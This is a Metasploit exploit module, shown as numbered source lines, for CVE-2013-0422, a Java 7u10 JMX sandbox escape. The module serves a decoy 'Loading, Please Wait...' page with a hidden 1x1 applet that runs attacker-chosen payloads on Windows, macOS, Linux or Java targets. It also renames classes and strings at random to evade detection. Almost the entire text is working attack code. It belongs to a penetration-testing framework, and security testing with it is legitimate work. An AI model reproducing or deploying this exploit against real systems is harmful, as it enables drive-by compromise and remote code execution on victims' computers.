Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = ExcellentRanking
8

9
  include Msf::Exploit::Remote::HttpServer::HTML
10
  include Msf::Exploit::EXE
11

12
  include Msf::Exploit::Remote::BrowserAutopwn
13
  autopwn_info({ :javascript => false })
14

15
  def initialize( info = {} )
16

17
    super( update_info( info,
18
      'Name'          => 'Java Applet JMX Remote Code Execution',
19
      'Description'   => %q{
20
          This module abuses the JMX classes from a Java Applet to run arbitrary Java
21
        code outside of the sandbox as exploited in the wild in January of 2013. The
22
        vulnerability affects Java version 7u10 and earlier.
23
      },
24
      'License'       => MSF_LICENSE,
25
      'Author'        =>
26
        [
27
          'Unknown', # Vulnerability discovery
28
          'egypt', # Metasploit module
29
          'sinn3r', # Metasploit module
30
          'juan vazquez' # Metasploit module
31
        ],
32
      'References'    =>
33
        [
34
          [ 'CVE', '2013-0422' ],
35
          [ 'OSVDB', '89059' ],
36
          [ 'US-CERT-VU', '625617' ],
37
          [ 'URL', 'http://malware.dontneedcoffee.com/2013/01/0-day-17u10-spotted-in-while-disable.html' ],
38
          [ 'URL', 'http://labs.alienvault.com/labs/index.php/2013/new-year-new-java-zeroday/' ],
39
          [ 'URL', 'http://pastebin.com/cUG2ayjh' ]  #Who authored the code on pastebin?  I can't read Russian :-(
40
        ],
41
      'Platform'      => %w{ java linux osx win },
42
      'Payload'       => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
43
      'Targets'       =>
44
        [
45
          [ 'Generic (Java Payload)',
46
            {
47
              'Platform' => ['java'],
48
              'Arch' => ARCH_JAVA,
49
            }
50
          ],
51
          [ 'Windows x86 (Native Payload)',
52
            {
53
              'Platform' => 'win',
54
              'Arch' => ARCH_X86,
55
            }
56
          ],
57
          [ 'Mac OS X x86 (Native Payload)',
58
            {
59
              'Platform' => 'osx',
60
              'Arch' => ARCH_X86,
61
            }
62
          ],
63
          [ 'Linux x86 (Native Payload)',
64
            {
65
              'Platform' => 'linux',
66
              'Arch' => ARCH_X86,
67
            }
68
          ],
69
        ],
70
      'DefaultTarget'  => 0,
71
      'DisclosureDate' => '2013-01-10'
72
    ))
73
  end
74

75

76
  def setup
77
    path = File.join(Msf::Config.data_directory, "exploits", "cve-2013-0422", "Exploit.class")
78
    @exploit_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
79
    path = File.join(Msf::Config.data_directory, "exploits", "cve-2013-0422", "B.class")
80
    @loader_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
81

82
    @exploit_class_name = rand_text_alpha("Exploit".length)
83
    @exploit_class.gsub!("Exploit", @exploit_class_name)
84
    super
85
  end
86

87
  def on_request_uri(cli, request)
88
    print_status("handling request for #{request.uri}")
89

90
    case request.uri
91
    when /\.jar$/i
92
      jar = payload.encoded_jar
93
      jar.add_file("#{@exploit_class_name}.class", @exploit_class)
94
      jar.add_file("B.class", @loader_class)
95
      metasploit_str = rand_text_alpha("metasploit".length)
96
      payload_str = rand_text_alpha("payload".length)
97
      jar.entries.each { |entry|
98
        entry.name.gsub!("metasploit", metasploit_str)
99
        entry.name.gsub!("Payload", payload_str)
100
        entry.data = entry.data.gsub("metasploit", metasploit_str)
101
        entry.data = entry.data.gsub("Payload", payload_str)
102
      }
103
      jar.build_manifest
104

105
      send_response(cli, jar, { 'Content-Type' => "application/octet-stream" })
106
    when /\/$/
107
      payload = regenerate_payload(cli)
108
      if not payload
109
        print_error("Failed to generate the payload.")
110
        send_not_found(cli)
111
        return
112
      end
113
      send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })
114
    else
115
      send_redirect(cli, get_resource() + '/', '')
116
    end
117

118
  end
119

120
  def generate_html
121
    html  = %Q|<html><head><title>Loading, Please Wait...</title></head>|
122
    html += %Q|<body><center><p>Loading, Please Wait...</p></center>|
123
    html += %Q|<applet archive="#{rand_text_alpha(8)}.jar" code="#{@exploit_class_name}.class" width="1" height="1">|
124
    html += %Q|</applet></body></html>|
125
    return html
126
  end
127
end
128

129